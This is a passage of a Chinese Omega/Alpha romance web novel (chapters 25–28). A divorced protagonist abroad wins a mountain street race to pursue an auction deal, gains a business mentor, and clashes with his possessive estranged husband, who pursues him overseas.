陆医生说养病期间不能有太大的情绪波动,所以张姨一直不让他回春城,直到临走前才松口。 姥姥的丈夫很早就和她离婚了,埋在别处,所以姥姥被大哥安排的人埋在了他爸妈旁边,算是另一种意义上的团聚。 只是,桑也擦了擦墓碑,放下一颗苹果,低声说了句,“这地方不好。” 和姥姥道了歉,又和爸妈说了会话,在墓地待了一个下午,天快黑的时候才被张姨叫走。 “天黑了,冷。再不回去赶不上明天的飞机了。” 说话这一会,路边跑出来一条小黄狗,浅金色的毛发中间嵌着一双黑色眼睛和倒三角的黑色鼻子,咖色的耳朵一弹一弹的。 …… 大哥虽然在看守所,但和律师联系,帮他安排好了一切,跟他说只管去,落地了会有人接应。 这点桑也倒不担心,他从小往国外跑的次数也不少。 比起这个,更让他忍不住皱眉的是…… 没人告诉他感知错位会让他在坐飞机的时候感觉自己的脸受到挤压。 那不是屁股的事吗? 第25章 “桑总, 刚刚得到消息,柴柯斯老爷子的小孙子今晚会在苏洛斯山举办一场赛车,我们要从这里入手吗?” 这是桑也到M国的一个月整, 除了刚来那半个月因为身体没有大好还需静养, 后半个月他不是和国内视频通讯商量如何为大哥争取减刑, 就是跑桑氏在C国的企业。 直到前天, 一审结果出来,三年刑期, 他才结束和国内每天两小时打底的视频。 除了刑期, 他哥名下的资业罚款的罚款,没收的没收, 好在当初结婚时他哥怕他没底气, 把自己的大半股份无偿赠与了他,勉强保全了大部分。 虽然股份转移公示得晚, 但在法律上, 还是以签订时间为准,因此这些产业没有受到他哥事情的太大影响。 国内的都交给了职业经理人代为管理,国外的, 一些发展还不错的产业,依旧交由经理人代管, 比如他母亲所创立的美妆品牌, 而发展较为差劲的, 桑也打算自己做主改革。 说话的人是他的助理, 所谓的“下手”, 指的是为桑也接手的这家快要倒闭的拍卖行争取一副稀世珍品的拍卖权。 拍卖行和其他企业不同,不生产任何商品,经营得好不好, 全看拍卖的物品价值高不高。 据说收藏家柴柯斯颇为心疼最小的这个孙子,若是能让其代为游说,把拍卖权交给自己,说不定成安拍卖行能起死回生。 “准备一下,我们也去。” 桑也合上钢笔盖帽,理了理桌面上从拍卖行拿回来的过往财报。 “好的桑总。”助理记下今晚的行程,“对了桑总,是否还需从国内购买特效营养剂?我看您的营养剂已经用完了。” “不用。” 他身体素质本就不好,一次性做两场手术,对他身体的摧残是莫大的,要不是一直在使用特效营养剂,他绝无可能这么快就能自由行动。 但再好的药,烧了八位数,也该停了。 助理出去后,桑也在办公室坐了一会。 以前他喜欢穿软糯糯的毛衣,但今时不同往日,他不再是某位总裁的Omega,而是某家企业的总裁,再穿毛衣就显得不合时宜了。 于是他换上了真丝衬衫,银色手表,按照自己印象中的商务人士穿着装饰自己,有样学样,虽然身材薄弱了些,但装备齐全,还算唬得住人。 明亮的吊顶投射下白色光辉,落入他的眼窝。 虽然他答应得快,可“让一个陌生人为自己去劝说其祖父”这任务绝对不是什么简单的事,实打实地上难度了。 要是四年前,他开着自己的战车到赛道上去溜一圈,说不定还能轻而易举得了人家青眼,但现在…… 桑也只觉得脑门有点疼。 算了。 走一步是一步。 苏洛斯山是当地著名的赛车山区,据说是被某家有权有势的公子哥买下公开给所有赛车手使用,就是为了防止被开发,破坏原始的赛车环境。 因为市区和山区离得不算太远,桑也先在公司开了个会,把人事精简公司人员等等任务都安排下去之后,才在傍晚出发去往苏洛斯山。 晚上九点,苏洛斯山山顶。 桑也抵达前,已经有不少人在山顶攀谈。他刚一下车,就有不少目光投射而来。 一个从未见过的陌生车牌号,副驾驶下来一位身形单薄、面容姣好的青年,任是在场众人都是见过俊男靓女的二代,也不自觉被这个东方面庞的年轻来者所吸引。 果然,下车不到一分钟,就有人来搭讪。 桑也只回以一个疏离的笑容,问:“请问柴柯斯少爷在哪里?” “你笑得好看,告诉你也无妨。喏,那儿,瞧见没,人堆里。虽然你长得的确优越,但那一堆里的漂亮Omega也不少,你确定还要去吗?” 桑也点头道谢,在说话的人脸上看见了遗憾之色。 柴柯斯身边人不少,桑也在边上等了一会,见没有散伙的势头,便找了个椅子坐下。 他让助理先回去。 要上去给别人自荐,说实话,对他而言是种挑战,他总是自嘲脸皮厚,但那也只针对特定的人,在外人面前,他稍稍有些尴尬都会红了脸。 但是,来都来了。 哎,总不能临阵脱逃。 让助理先回去也是为了万一被拒绝太尴尬不至于被熟人看见。 至于那些陌生人,谁也不认识谁,两眼一闭就过去了。 他在椅子上坐了快两个小时,来搭讪的人络绎不绝,请他喝酒,或者邀请他坐自己的副驾驶,花样多得很。 桑也一一婉拒了。 坐得太久,腰有些酸疼,他站起来,打算揉揉。 结果刚一起身,就看见众星拱月的柴柯斯朝他走来。 桑也便没好意思揉腰,转而整理了下衣服。 “听他们说你在等我?”柴柯斯看起来也就十八九岁,身着一件酒红色衬衫,半系半解,袒露着半个胸膛。 换做以往桑也还会自觉避开视线,遵守所谓的O德,但现在,他没了束缚,不用再刻意维护自己的“节操”。 M国的人大多开放,他要是表现得扭捏,恐怕会在第一印象上面吃亏。 只是……他再怎么直视不避,骨子里的含蓄还是藏不住,眼神总是不自觉飘走。 “柴柯斯少爷,你说得没错,我正是专门来找你的。” 柴柯斯得了这话,立马朝身边众人炫耀。 看起来他心情还不错。 趁热打铁。 桑也直接开口:“柴柯斯少爷,我是成安拍卖行的主理,这次特意来寻你,是得知您的祖父有一件两百年前的油画想要出手,还没有择定拍卖行。虽然成安式微,但我们愿意……” “停——”柴柯斯脸上满是不耐烦,“我没心情听你说这些。” 桑也的笑容有几分僵滞,他勉强维持住神容,“这……” “这样,马上比赛就开始了。我让露丝把副座让出来,你坐。我要是赢了,就给你一次机会把话讲完,怎么样?” 柴柯斯还没说完,边上就有一个Omega摇着他的胳膊表示不满了。 “不敢么?”见桑也没有说完,柴柯斯眯了眯眼,笑着搂住身边的Omega,“还是没你胆子大啊。” 桑也深吸了一口气。 “柴柯斯少爷,这样胜负都掌握在你手里,我可不放心,不如我们换个玩法?” 柴柯斯把那个Omega推开,一下子来了兴趣。 “噢?你说怎么玩?” 桑也咬了咬牙,手掌不自觉握拢。 “你坐副座,我来开,要是赢了,你就帮我劝说柴柯斯先生,如何?” …… C国,相氏大厦。 终于把一家科技公司的投资谈下来,相召南回到办公室,已经有些困顿,但还不打算休息。 他揉了揉太阳穴,稍稍眯了眯。 这一周他每天都只有三四个小时的休息时间,既要和有意愿的公司谈判,又要游说相氏股东,两头难做。 也就是临时从桑氏那里撤资,资金急于流通起来,否则这些公司是不敢像这样压低他们得利占比的。 办公室的门不知被谁打开了。 相召南睁眼,看见钱余端着一杯咖啡进来。 “相总,辛苦了,还要工作的话喝杯咖啡提提神吧?” 相召南没有跟他讲要喝咖啡,这实属钱余自作主张了。但他的确有些困,也就没有责备钱余。 “放着吧。” 钱余一步步向他走来。 相召南皱眉,在钱余把咖啡端到他面前之前突然伸手,稳稳接住了咖啡杯。 他回想起七夕那天,好不容易忙完,让钱余给他泡了个咖啡,结果端来的时候直接倒在了他裤子上,害得他不得不去淋浴间洗漱。 刚才钱余的神色,他不免产生怀疑事情会再次发生。 这些年形形色色的人他见识得不少,钱余的心思…… “少起歪心思。” 钱余回他:“相总,听说桑先生和你离婚了?” 这话已经说得很明了了。 相召南登时站了起来,“没你的事,出去。”他拖着咖啡杯托,把它放在桌面上,瓷勺和杯壁碰撞发出一声轻响。 钱余磨蹭了好一会,见相召南的确没那个意思,才稍显尴尬地转身。 “没离。” 他没签字。 办公室里突兀地响起这一句话。 钱余回首来,相召南跟他说:“叫陈助进来。” 没一会,陈助推门进来。 “相总,您叫我?” “桑也回来了么?”相召南已经重新坐下,咖啡被他放在远离自己的桌角。 再适时的咖啡经由别有所求的人送进来,相召南是不可能入口的。 “桑先生他……”陈助顿了顿,似乎有些难以开口。 相召南蹙眉。 “说。” “桑先生他一个月前就出国了。” 陈助说完,立马低头看着皮鞋。 相召南的脸色刷地阴沉了下来。 因为忙碌,这段时间他疏于形象管理,下巴上冒出了些许胡茬,丰密的眉竟也长出了些碎毛,显得他有些粗犷。 出国? 相召南知道桑也不高兴了就要跑回家,却没想到他竟然跑出国了。 这有些超出相召南的预料。 好像有什么不一样了。 办公桌前的陈助偷偷觑了眼相总的神情,心想,果然如此。 人家追你时你爱答不理,人家走了你又垮着一张脸。 “去哪了。” “M国。” 一个合格的助理,不仅要负责公司事务的汇报和处理,还要兼顾总裁私事。 看在相氏给他开的薪水足够高的份上,他做起事来尽心尽力,就算总裁问他老婆跑哪去了他也能对答如流。 看着相总的脸色愈发森沉,陈助安慰了一句:“不远,就隔了条小河。” “出去。” “好嘞。” 第26章 “你要是输了, 怎么说?” 柴柯斯颇有兴趣,扫视了一眼面前的人。 从这个人下车开始,苏洛斯山顶就发生了躁动, 他们群里纷纷在讨论这个陌生人, 第一个上去搭讪的也是他们群里的兄弟, 把这个东方人的来意转告给了他们, 因此柴柯斯也知道这个引起众人议论的Omega是朝着他来的。 但让他意想不到的是,这个Omega朝着他们走来, 却没有直接来找他, 反而是在边上的椅子直接坐下了。 一坐就是两个小时! 这个Omega能等,柴柯斯的心确实被勾得等不下去了。 于是他摒弃了从不主动搭讪只等人倒贴的原则, 主动开了口。 当然, 什么你怎么还不来找我这种话是不可能说的,太掉价。 所以他以“听他们说你在找我”这样一句话作为开场。 这个Omega有着一头乌黑的碎发, 一缕黑发蜷曲着耷在挺翘的鼻上, 顺滑细碎的发丝下是一张白皙却不失生气的面庞,双目琥珀色,丰润的唇瓣色泽浅淡晶莹, 和他身边人要么白得像死人、要么黑得看不清五官的人大不一样。 丝质的衬衫不算贴身,被风一吹便勾勒出肩、腰的形状, 单薄, 羸弱, 盈盈一握。 唯一令柴柯斯不满意的是, 扣子系得太满。 Omega回复得很直白, 这令柴柯斯有些意外。 还以为这样一个宁愿在边上坐两个小时都不愿意主动来找他的Omega会害羞到红脸,这和柴柯斯的预期完全不符,却意外地让他对这个Omega的兴致更浓烈了些。 然而Omega下一句话, 实在令他不喜。 什么啊?什么破拍卖行,谁要听他讲这些? 柴柯斯瞬间对他失去了兴趣。 不过,这Omega随后提出的“帮他比赛”,倒有点意思。 但他不可能这么轻易让一个不知底细的Omega驾驶他的爱车,于是问:“你要是输了,怎么说?” 桑也听他这样问,心想应该是有机会了。 “如果输了,车的维修费我全部承担。” 然而柴柯斯却并不满意,“我缺这点钱?你要是输了,丢的可是我的脸,那是钱的事吗?” 他朝周边的莺莺燕燕歪了歪头,果然就听见边上的人纷纷附和。 桑也稍稍皱了皱眉,并非对众人嘲讽的眼光感到难堪,而是责怪自己开口太过草率,连这么简单的道理都没有想明白。 “要不这样——” 柴柯斯突然开口,但他话还没说出口,就被打断。 “我有一辆柯尼塞格七年前的限定款,CCXR trevita,暗银色,如果输了,无偿转让,够吗?” 相比之前负担维修费的发言,桑也这一次开口就谨慎了许多。 他所提到的跑车是母亲去世后叛逆期的他迷上了赛车,缠着父亲给他买的。 价格不高,加上空运费四千多万,但全世家只生产了两辆,按照时间来看,另一辆售出的时候这个小少爷估计还是个小豆丁,大概率是没有的。 果不其然,此话一出,柴柯斯的眼前瞬间一亮,不自觉往前走了一步。 “你真有?” “嗯,真有。” 拿回了主动权,桑也的态度便平静了许多,没那么激进。 对于一个举办赛车比赛的人,限定跑车的魅力绝对是任何Omega都比不了的,柴柯斯如他预料那样,毫不犹豫答应了。 …… 桑也第一次接触赛车,是母亲车祸逝世之后,父亲和兄长忙于工作,没有人关注他,没有人每晚跟他说晚安,于是叛逆期虽迟但到了。 赛车刺激,风呼啸,肾上腺素飙升,体会过一次之后桑也再也忘不掉了。 而凌星,一直都很叛逆,两人一拍即合,和公学的同学们一起搞了个俱乐部,叫Kacers Edge Alliance,俱乐部内部时常举办一些友谊赛,但彼时的桑也并不满足于在同学之间拿冠军。 十七岁的时候,他参加斯彼得比赛,拿下了人生中第一个锦标赛冠军。 随后的一年,他接连拿下四个国赛冠军。 桑守安管不住他,只能叮嘱要他一定注意安全,只在国内玩玩,不能跑出国去。 “国外那些不正规的,往往药、毒都是成套的,你去了就是羊入虎口,知道吗?” 桑也谨记。 然而十八岁那年的事故让他毫无征兆地放下了赛车。 大哥怎么劝都劝不回来的心被一场疾病套了个牢固。 距离他上一次摸赛车已经是四年前的事情了。 必须承认的是,桑也不可避免地感到紧张,甚至在准备时手心出汗,用了好几张纸巾。这一场面也让柴柯斯对他产生了怀疑。 车辆刚启动的时候,桑也还有些手生,落后于对手。 一来不熟悉路线,二来许久未曾碰过赛车,刚起步就落后,要说他心里不慌,那是不可能的。 但事在人为,桑也尽可能放松,集中精神,紧紧跟在对手车后。 赛道周围是密林,只有道路周围有零星的路灯,驶出起点一分钟后,一红一蓝两辆超跑都消失在众人视野中,只能从大屏上的无人机画面看见赛况。 桑也驾驶的跑车一直落后,大屏前柴柯斯的神色有些暗喜。 虽然他嘴上说着输了丢的是他的面子,但实际上大家都知道是谁开的车,比的赛,赢了又跟他有什么关系。 但要是输了,那辆柯尼塞格的主人就要改名换姓了。 还剩下最后一公里,柴柯斯正了正神色,对旁人说:“可惜了。” 然而他话音刚落,周遭人突然出奇一致地发出惊叹。 “天哪!” 甚至有人站起来。 柴柯斯被这一瞬间的嘈杂吸引了注意力,他先是回头去看了眼人群,在众人脸上看见了如出一辙的惊讶,到底是什么样的举动让大家都震惊了? 旋即看向大屏。 “他要在这么急的弯道超车吗?!” “上帝啊,保佑他那张美丽的脸不要受到不可弥补的伤害。” 身后有人说着。 紧接着,短短的十几秒内,柴柯斯亲眼目睹了属于他的跑车在接近三百六十度的弯道擦着另一辆跑车的边超过了它! 那一瞬间,太近了!似乎连两辆车的后视镜都发生了摩擦! 道路上留下了深深的车印,而制造它的跑车却四平八稳地闯过了终点。 咫尺之间,胜了。 …… 桑也下车的时候,整个人都在发抖。 然而这并不是因为害怕,也绝非酸痛,而是源于内心重新燃起的激情,他好像找到了当初比赛的刺激。 平心而论,他的对手车技不错,前期一直稳稳把他压在身后。 唯一的失误就是低估了他,不把他放在心上,全然没想过他会做出弯道超车的事情,以至于让他加速起来,眼睁睁看着他率先抵达。 桑也脱下身上的装备,握了握拳,来缓解浑身的颤栗。 工作人员把他带回山顶的观众席,他看见柴柯斯正坐其中,想也没想便走上前,“柴柯斯少爷,我们可以找个地方谈谈您祖父的事情了吗?” “你想说什么?现在就说吧。” 赢了比赛,柴柯斯脸上却没有显露出喜悦之色,桑也略微有些不解,但心里都是珍藏品的事,便直接开口道: “这些年成安拍卖行经营不善,没什么名气,但我有心重振成安,听说你祖父手里有一副两个世纪前的印象派画作想要出手,一般而言拍卖行会收取百分之十甚至更高的佣金,但如果交付给成安来拍卖,我们愿意只收取百分之一的佣金,你们得了更多的钱,成安也能借此打开市场,两全其美,如何?” 桑也说完,所有人都安静地看着他俩。 却见柴柯斯并没有像承诺的那样答应去游说他的祖父,而是说了句:“说完了?” 这话砸得桑也有些反应迟钝,“啊?说,完了。” 下一秒,柴柯斯突然站起来,搂着两个Omega向外走。 “那我走了。” 走? 桑也眨了眨眼,什么情况? “柴柯斯少爷,你还没有——” “我什么时候答应过你?” 桑也吸了一口凉气,意识到这位少爷在耍他,顿时来气,“比赛前我说要是赢了你就帮我去劝说柴柯斯老先生,你现在是要毁约吗?” 他话里带笑。 最恨言而无信之人。 柴柯斯竟然说:“我只答应你,要是赢了,就听你把话说完,至于劝说什么的,跟我有什么关系?” 说完作势就要离开。 桑也双手抱臂,气极反笑。 他冒着生命危险跑赢了比赛,结果闹着出? 实在无耻。 和他比起来,相召南似乎都逊色三分! “柴柯斯,谁教你言而无信的?” 随着一声呵斥,通道处走进来一位身着黑色大衣的中年Alpha,头戴一顶黑色帽子,杵着手杖,颇有绅士风范。 桑也循着声音望去,正好看见柴柯斯发现来者是谁后瞬间变了脸色。 “林肯叔叔?” …… 【闹够了没。】 【什么时候回来,让陈助去接。】 【别挑战我的耐心。】 消息发出去半小时,无人回应。 相召南荒废了半小时,什么工作也没做。 桑也收到消息了吗? 为什么不回复? 已读不回? 相召南骨骼中腾升起一股郁闷的烦躁,连桌边的咖啡都变得格外碍眼,看了几眼后,他起身。 咖啡杯哐当坠入水池中,黑棕色的咖啡汩汩流入下水口,瞬间有一片深色布满在他眼前。 相召南掌心落在水龙头上,感应水龙头立马流出清水,将水池中的荒诞冲走。 离开办公室内的洗手间,他再次拨通了之前十七次未接的电话号码。 提示关机了。 相召南微微皱眉,转而拨打了公司内线,叫助理进来。 “把你手机给我。” 陈助愣了一下,旋即掏出手机,解锁后递给相召南。 他眼睁睁看着相总打开了拨号页面,输入号码,打过去。 然后手机里传出了冰冷的女声,提示拨打的号码已关机。 陈助立马就明白了。 相召南问:“你被拉黑了?” 陈助:“我跟桑先生不熟,他拉黑我做什么?” “你是我的助理。” “……”陈助默然,想太多了吧。“桑先生出国,国内的电话卡用不了,所以会这样。” 只见相召南脸上竟然出现了一丝恍然大悟,陈助嘴角抽了抽。 又听见相总交代他:“给我定最近的机票。” 牛马打工人陈助立马拿回手机,毕恭毕敬道:“好的,我马上安排。” 第27章 林肯? 桑也对M国不太熟悉, 更不知道这个名字在M国意味着什么。 但他能清楚看见方才洋洋得意就要离开的柴柯斯脸色立马浮现了心虚之色,眼睛都不敢直视林肯。 等林肯走近,对他说了句:“过来, 给人家道歉。”柴柯斯脸色更差了, 憋了一口气, 黑着脸挪了过来, 跟只鹌鹑似的,“对不起。” 桑也对这声道歉并没有过多的感受, 心不甘情不愿, 换不到他一声没关系。 “答应了人家什么,记得做到。” “我——”柴柯斯似乎有话要说, 最后生生憋了回去, “我知道了,林肯叔。” 说完埋着头就跑了, 也不管刚才搂着的那两个Omega。 两个Omega面面相觑, 尴尬地回到人群里去。 “林肯先生怎么来了?”其中一个Omega小声问。 柴柯斯走后,林肯朝桑也走来,脱下帽子, 从怀中取出一张名片递给他。 桑也打量了一下这位林肯先生,五十上下, 虽然是典型的M国长相, 却不失儒雅绅士。 显然这二人关系熟络, 林肯要柴柯斯给他道歉, 桑也并不意外, 不管是出于对熟人之子的教育,还是对熟人面子的维护,这一举动都合情合理。 让桑也意想不到的是, 林肯竟然让柴柯斯把答应他的事情做到。 柴柯斯跟他玩文字游戏,林肯也用同样的招数对柴柯斯,“做”和“做到”,一字之差,天壤之别。 道歉无非口头功夫说说而已,做事确是实打实的。 桑也蓦地心里一酸,连一个陌生人都能在他被欺骗的时候帮他一二,相召南却只会默不作声,甚至把锋利话语的刀刃朝向亲近的人。 他深吸了一口气,接过林肯的名片,微微一笑,“谢谢。” “很晚了,回去吧。”林肯受了他的感谢,坦然颔首。 就在桑也准备离开的时候,又听见林肯说了句:“如果可以,明天能聊聊吗?关于拍卖行。” 他想做什么? 桑也脚步一顿。 他对这位林肯先生的印象不错,更重要的是,就目前众人的反应看起来,这位林肯先生必然非富即贵,跟他聊聊拍卖行……也不是不行。 “当然可以。” “那明天再联系,赶紧回去休息吧。”林肯双手交叠放在手杖上,柔和的语气给人一种长辈的感觉。 次日。 加上林肯先生的联系方式之后,约定好今天中午在市区的一家小酒馆见面。 上午的时候,他就让助理准备了成安拍卖行的资料。在公司的时候又接到柴柯斯那边的电话,口头交流了一下,约定周末的时候详谈。 昨天回到家里,他上网查了一下这位来头不小的林肯先生,发现果然和他料想的差不多,商业巨鳄,为人低调,与柴柯斯是深交。 反而是他的年龄,让桑也有些惊诧,居然才四十四?看着像五十出头的人。按理说有钱人在金钱的滋养下会比普通人更显年轻才是。 不过查着查着,桑也也就明白了。 这位林肯先生只有一个Beta儿子,喜欢赛车,正是传闻中一掷千金买下苏洛斯山的那位,只是可惜,几年前在一次赛车中意外翻车,十九岁殒命。 据说林肯先生也就是在那之后一下子衰老了十岁。 桑也有些感慨,拳拳爱子之心,在哪个国家都一样。 不过,说聊拍卖行,就聊拍卖行。 他把成安的资料放在车上,亲自驾车去。 小酒馆在城区中心,城中心建得早,道路狭窄,桑也怕堵车迟到,提前下了车,走了一截路。 到了之后有服务员把他带到位置上。 林肯已经到了。 桑也把资料放在桌上,“抱歉,我来晚了。” “我也刚到。”林肯帮他到了一杯白水,“你们年轻人应该都喜欢去酒吧?可惜我年纪大了,受不了太吵闹的环境,退而求其次,酒馆也差不对,对吧?” 桑也当然要展示他作为合作伙伴善解人意的一面。 “我也很少去酒吧了,还是这种酒馆合适些。” 说着,他还朝酒馆内弹着吉他的驻唱歌手侧了侧头。随着侧身的动作,白色衬衫下墨白相间的无事牌滑动了一下。 服务员上了一瓶白葡萄酒,桑也知道自己酒量不好,只小小饮了一口,便把话题往正事上引。 “林肯先生昨天说想谈谈拍卖行,不知道您有什么想法?” “你现在是什么样的想法?”林肯没有直说,反而问他,“成安这几年无人经营,每月的拍卖藏品都是些没名气的,最高成交价也不过百万,早已落后M国另外几家拍卖行。” 他说得都是实话。 桑也默默把带来的资料往边上挪了下,看来林肯对他们也提前了解过了。倒也正常,如果林肯有意加入他们成安,必然要提前了解的。 “今天上午的时候柴柯斯老先生的经理人打来电话,和我们商量了一下那副油画的代理,最后决定周末再细说。” “如果顺利拿到油画的拍卖权,我们初步计划的是先在M国最大的社交平台上营销宣传引流,成安沉寂太久,得用那幅画作为打开名气,不然可能到拍卖那天都吸引不了能拿下油画的人。” 林肯听完,半晌没有言语。 他这幅表情看得桑也莫名心里有点发怵,像上学时候班主任沉默不语的画面。 良久,才听见林肯说:“如果只是想把这幅画拍出个好价,也还算可以。但以后呢?” “以后拿不到这种质量的藏品,成安该拿什么做宣传?投流到油画上面,只是赔钱去给油画抬价。” 桑也捏着酒杯的手收了回来,放在腿上。 腿上还有仍在发痛的伤口,他用指甲隔着布料剐蹭了两下,痛感刺激得他右半身痉挛一下,好在他的衬衫不算紧身尚有余量,能够遮盖住他的窘迫。 疼痛过后,头脑清醒了许多。 “林肯先生有什么高见?” 见桑也听懂了他的言下之意,林肯愉快地端起酒杯喝了一口,“听说你也是画者?大学学的油画专业,刚好也擅长印象一派,有没有想过在镜头前露脸?” 听说。 好委婉的用词。 就算是私底下调查了谁,说出来还是“听说”。 这就是他们这些人的语言艺术吧。 “林肯先生的意思是……” “你学的是油画,和拍卖的画作风格一致,而且你本身水平不错,在C国也出了不少成绩,如果你愿意在镜头前露脸,打个传承者的噱头,把自己推出去,绝对比单纯给那幅画投流对成安拍卖行效果好得多。” “最关键的是,凭你这张脸,在哪个平台都能节省预算。” 说得桑也有些心动。 但是…… “这样会不会太喧宾夺主了些?” 却听见林肯先生斩钉截铁说:“就是要喧宾夺主,才能救你的成安。” 桑也心里一震。 从林肯提出问题时桑也就知道他的策略缺少长期性,但林肯先生所说的营销他自己又让他这个很少在大众面前露面的人有些胆怯。喧宾夺主不是重点,缺少的勇气才是他的绊脚石。 他深吸了一口气,正要答应,又听见林肯说:“你想想你那位前夫,相召南,不也是频繁出现在镜头前?因为他的脸已经成了C国相氏的代言。” 桑也霎时怔住,“你怎么知道……”但很快他就反应过来,既然林肯调查过他,那他和相召南的事情,必然瞒不过他。 听到相召南的名字,桑也的心情实在不算太好,只能勉强笑着:“确实是。我会好好考虑的,谢谢您,林肯先生。” “我敬你一杯。”桑也摇摇头,把脑子里的混乱扫走,端起酒杯。 然而他还没有和林肯碰杯,就有一双手大力地攥住他的手腕。 仿佛要把他的腕骨捏碎。 “你——”桑也瞬间站起身来,往后收手,却在看见握他手的人脸时顿住了动作。 “相召南,你……”他本想问相召南怎么在这里,但话说到一半又收住,相召南在哪里跟他有什么关系?“你放开。” 相召南没有松手,稍稍泛红的眼周透露出他的疲惫。 倒是林肯先生开口打破了这无声的僵持。 “这就是你前夫?” 这话一下子显得他和林肯有什么说不清道不明的关系。 果然看见相召南眼中显露出一丝狠厉之色,从牙缝里挤出几个字:“没离。” 桑也皱眉,挣扎了两下。 “我没签字。”相召南接着说,“我不会签字的,你最好给我解释清楚。” 桑也不明白他在坚持些什么,什么也没说,只是用另一只手去掰他的手,想要把自己被束缚的手腕解脱出来。 “既然是你们的私事,那我也就不多掺和。”林肯站起来,朝着桑也说:“有时间再联系。” 桑也不知道这句“有时间再联系”是不是意味着林肯对他的帮助到此结束,如果是这样…… 他只能强行挤出一个笑容,和林肯先生道了别。 等林肯先生走了,相召南才终于松开手。 桑也脱力地跌坐在椅子上。 他盯着桌上被翻倒的酒杯和流淌的白葡萄酒,“这下你满意了?” 既指桌上的混乱,又指林肯离席的事件。 桑也很少很少对相召南说重话,以前的他,就像是被种了蛊虫,哪怕委屈得不行,也只敢偷摸地“意有所指”,不会像现在这样直接。 他以为相召南会像以前那样对他严词呵斥,却只听见他声音沙哑:“什么?……你在怪我?” 桑也闭了闭眼,胸腔深深起伏,“原来你听得懂话。” 第28章 “你说什么?”相召南似乎没有想到桑也会如此尖锐地讽刺他。 如果桑也生气, 落泪,身形颤抖,抑或是大吼大叫, 他反而能感到几分安心, 因为桑也还在乎他。 可桑也这么平静, 甚至还能再说话的同时扶起被他打翻的酒杯, 连正眼看他一眼都没有。 那漫不经心的语气刺痛了相召南。 桑也不动声色地抠了一下大腿上的伤口,钻心的疼痛传遍全身, 他笑着, 仰面看向相召南。 他想说,刚夸你听得懂人话, 现在又听不懂了?可他刚一抬起头, 就看见相召南红着眼眶,被他挣脱开的手悬在空中, 青筋突起, 颤抖着。 桑也突然心里痛了一下,仿佛被针扎了。他连忙低头,心想, 还是剔除得不够干净。怎么会心疼他呢。 他失神这片刻,相召南突然捏住他的肩骨, 解开他衬衫的第一颗扣子。 桑也骂他:“你疯了?大庭广众……”他攥着衣领, 连忙往后退。 却听见相召南问:“这里, 怎么全是伤。” 桑也后退的步伐顿了一下。他垂眸, 看见锁骨下面是两道仍在滋生新肉的伤口, 淡粉色的边缘和深棕色的痂疤,有时候会痒,会疼。 相召南不知道, 也对。 从他和相召南第一次上床开始,他就再没用过代偿的方式来缓解情热疼痛,直到最后一次情热期,失望至极的他宁愿把自己挠成血人,也没给相召南打一个电话。 这些伤就是在那时候产生的。 他的肌肤过了四年好日子后,再一次受到了他的折磨。 就为了证明,没有相召南,他也可以。 只不过随着腺体的移除,他失去了Omega引以为傲的恢复能力,伤疤在身上留了一天又一天,成为他的咖啡因。 他强硬地从相召南手中拽回自己的衣领,迅速扣上。 “与你无关。” “和我无关?”相召南舔了舔腮帮子,目光从领口下某样物件上移开,“你是我的Omega,怎么跟我没关系?” 突然,他嗤笑一声,“怎么,那位先生手段比较残忍?” 他在说什么?! 桑也不可置信地站起身来,双目直直瞪向相召南。 总是这样,总是这样! 在相召南心里,他就是一个水性杨花、是个人都能上的浪荡Omega。 他喉头有些干涩,“相召南,别用你龌龊的心思去揣测我和林肯先生。” “我们离婚了。” 相召南却根本不把他的话放在心上,再一次攥住他的手腕,拉着他就要走。 “跟我回国。离婚协议我当没见过。” 相召南自以为他给了桑也台阶,这次脾气闹得太久了,久得他大发慈悲主动给他台阶下。 他的底气来自于他扯开桑也衣领时露出来的那块无事牌。 要真的铁了心离开他,还会把要送他的无事牌贴身带着吗?而且是在那么多伤口的敏感部位。 他不信。 桑也不可能要和他离婚。 尽管桑也这段时间的举动让他感到一种秩序被打破的无助感,可当他发现那块无事牌,他笃信一切没有改变。 然而桑也并没有如他预料中顺着台阶下那般屈从,反而冷笑一声:“你疯了还是我疯了,我专门让人给你送过去的协议,你说当没看见?” 相召南霎时怔住。 对上冰冷的琥珀色眸子的那一瞬间,他的心猛地收缩了一下,空落落的,整个人仿佛魇住。 桑也从前从未用这样的眼神看过他,永远是浓情蜜意,像齁甜发腻的甜品,而现在,竟生硬冷淡到让他有种触冰的幻觉。 他从无事牌中寻回的底气登时消散。 他僵硬地开口:“你当真要和我离婚?不可能,我不同意……” 他话还没说完,就见桑也撞开他的肩膀,朝着酒馆外走去,步履急促,仿佛生怕慢了一点就无法逃离有他所在的地域。 相召南僵在原地。 桑也竟这样嫌弃他? 他第一次被桑也丢下。 …… 离开酒馆,桑也小跑了一路,看见车立马钻上上去。他没有任何休息,直接启动,直到车辆开出去一公里路程,才停在路边。 他胸膛仍在剧烈起伏。 乌发青年趴在方向盘上,急促地喘气。 仿佛刚才淡定回怼的人只是虚影。 他一手放在方向盘上,另一只手紧紧握着胸口的无事牌,顺滑的衬衫被他攥出了深深的褶皱。 他后怕,怕自己没装下去,怕自己露了馅。 这一刻他清楚地明白,虽然腺体忘记了,但心还记得。他离开相召南,不是因为不爱了,而是失望了。 要忘掉一个人,忘掉对他的感情,绝不是一时半刻就能实现的。 他无比庆幸。 还好出国了。 还好,有距离。 …… 那天之后桑也又和林肯见了一面。 他本以为那天的谈话被相召南打搅之后,因为目睹了他混乱的家事,林肯会对他有所意见而不再与他联系,不料第二天就收到了讯息。 再见面的时候,林肯问他有没有意向去读个MBA,尽管都说在大学里学不到真本事,但他年龄合适,去里面结交些朋友也不错。 桑也委婉表示自己要打理的公司太多,可能抽不出时间。 他没想到林肯居然会像家里长辈一样给他提出这些建议,但联想到林肯那个意外去世的儿子,也就不感到意外了。 得了他的回复之后,林肯说:“你要是不介意,我闲来无事倒也能给你们年轻人一些建议,只是不知道能不能换来一句老师?” 桑也讶异地微微张唇,立马应道:“老师。” 以林肯在M国的地位和他过往的商业手段,这交换稳赚不赔。 林肯立马笑着说: “我儿子以前也爱赛车,我劝他回来学学管理公司,他偏不,说以后,以后。”缓缓道来的话语为他斑驳的头发披上了白霜。 桑也有些动容。 “你到M国来,带上以前的画作了吗?如果带了,这时候就可以联系营销公司,着手宣传了。” 桑也回想了一下,他的画大部分都在华润湾的画室里,做完手术后,他叫凌星帮他收拾了东西放到桑家别墅,因为时间仓促,他没有回去清点,但想来问题不大。 和林肯告别后,他给桑家别墅园区的物业打了个电话,让他们帮忙上门找一下油画。 物业答应得很爽快,只不过半小时后却回电,告诉他别墅里没找着他说的油画。 桑也跟他们说了谢谢,心里摸不准情况,转而给凌星打电话。 